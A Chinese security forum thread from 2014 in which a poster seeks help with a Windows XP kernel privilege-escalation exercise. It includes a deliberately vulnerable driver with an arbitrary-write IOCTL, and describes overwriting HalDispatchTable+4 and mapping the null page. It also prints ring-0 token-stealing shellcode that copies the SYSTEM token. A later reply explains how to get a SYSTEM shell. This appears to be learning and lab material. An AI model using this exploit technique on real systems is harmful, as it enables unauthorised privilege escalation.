首页
论坛
课程
招聘
[求助]XP R0shellcode执行后不成功
2014-11-8 17:26 2343

[求助]XP R0shellcode执行后不成功

2014-11-8 17:26
2343
任意写 漏洞驱动代码:
NTSTATUS DeviceIOControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)  
{  
    Irp->IoStatus.Information = 0;  
  
    PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);  
  
    Irp->IoStatus.Status = STATUS_SUCCESS;  
    ULONG inputlength = stack->Parameters.DeviceIoControl.InputBufferLength;  
    ULONG outputlength = stack->Parameters.DeviceIoControl.OutputBufferLength;  
    ULONG ioControlCode = stack->Parameters.DeviceIoControl.IoControlCode;  
  
    switch (ioControlCode)  
    {  
    case IOCTL_MethodNeither:  
        __asm int 3;  
        PVOID type3inputbuffer = stack->Parameters.DeviceIoControl.Type3InputBuffer;  
        PVOID UserBuffer = Irp->UserBuffer;  
        KdPrint(("hello my IOCTL_METHODNETHER CALLED"));  
        if (inputlength >=4 && outputlength >= 4)  
        {  
                  
            *(ULONG*)UserBuffer = *(ULONG*)type3inputbuffer;  
            Irp->IoStatus.Information = sizeof(ULONG);  
        }  
        break;  
    }  
  
    IoCompleteRequest(Irp, IO_NO_INCREMENT);  
    return Irp->IoStatus.Status;  
}  


exploit 将 HalDispatchTable + 4 (存放的是HaliQuerySystemInformation函数的地址) 地址处的值置为0  
然后向00申请内存,拷贝进r0 shellcode 如下:

R0 shellcode 为普通的 steltoken 的 提权shellcode
   __asm  
    {  
        cli;  
        mov eax, cr0;  
        mov g_uCr0,eax;   
        and eax,0xFFFEFFFF;   
        mov cr0, eax;   
    }  
    __asm{  
        mov eax,0xFFDFF124 //kpcr  在用户模式下,FS指向TEB结构,而在内核模式下FS却指向KPCR  
            mov eax,[eax]      //当前线程PETHREAD  
        mov esi,[eax+0x220]//当前线程所属进程的PEPROCESS  
        mov eax,esi  
searchXp:  
        mov eax,[eax+0x88]   
        sub eax,0x88       //获得进程链表中下一个进程PEPROCESS   
            mov edx,[eax+0x84] //pid ->edx  
        cmp edx,0x4          
            jne searchXp            
            mov eax,[eax+0xc8] //获取 system 进程的token   
        mov [esi+0xc8],eax //修改当前进程的 token  
    }  
    __asm  
    {  
        sti;  
        mov eax, cr0;  
        mov eax,g_uCr0  
        mov cr0,eax;   
    }


调用 NtQueryIntervalProfile  函数,函数又调用 HalDispatchTable + 4 处的值作为函数
可以成功执行内核中0x00 处代码 ,也就是我的 R0 shellcode
windbg 双机调试 可以看到 成功执行了R0 shellcode

但是每次执行完后,返回到 R3  ,看到进程都不会提权成功,还是原来的token
再次 调用 看到 token 又变成 普通进程的token 而不是我们修改成的 SYSTEM token

问题是如何才能在成功执行R0 shellcode后,看到我们的进程权限变成 SYSTEM 而不是 USER的
按照书上走的流程,但是还是没有成功
望知道的大牛解答

【看雪培训】《Adroid高级研修班》2022年夏季班招生中!

收藏
点赞0
打赏
分享
最新回复 (3)
雪    币: 55
活跃值: 活跃值 (23)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
zccqrqr 活跃值 2014-11-9 14:05
2
0
为什么没人回答呢55555
雪    币: 7
活跃值: 活跃值 (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ruanbonan 活跃值 2018-11-6 22:22
3
0
遇到了相同的情况,请问前辈是怎么解决这个问题的呢?
雪    币: 7
活跃值: 活跃值 (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ruanbonan 活跃值 2018-11-6 22:56
4
0
后来我发现在执行了Shellcode后,exploit.exe进程本身会成为system权限,这一点可以在任务管理器中看到变化,但是启动exploit.exe的父进程cmd.exe还是本地管理员权限。后来我修改了代码,在exploit.exe最后添加了system("cmd.exe"),这样在执行shellcode后打开的新shell是system权限,这也可以在任务管理器中看到变化,应该是token被传递给了cmd.exe子进程,但是此时的exploit.exe本身已经变成Administrator权限了。时隔多年,不知楼主那里情况如何?
游客
登录 | 注册 方可回帖
返回